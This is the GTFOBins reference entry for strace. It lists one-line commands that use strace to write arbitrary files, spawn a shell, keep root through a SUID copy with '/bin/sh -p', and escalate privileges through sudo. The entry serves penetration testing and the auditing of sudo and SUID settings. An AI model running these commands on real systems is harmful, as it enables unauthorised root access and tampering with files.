GTFOBins.github.io/_gtfobins/strace.md
2021-05-03 20:05:47 +02:00

602 B

functions
file-write shell suid sudo
description code
The data to be written appears amid the syscall log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough. More generally, any binary that executes whatever syscall passing arbitrary data can be used in place of `strace - DATA`. LFILE=file_to_write strace -s 999 -o $LFILE strace - DATA
code
strace -o /dev/null /bin/sh
code
./strace -o /dev/null /bin/sh -p
code
sudo strace -o /dev/null /bin/sh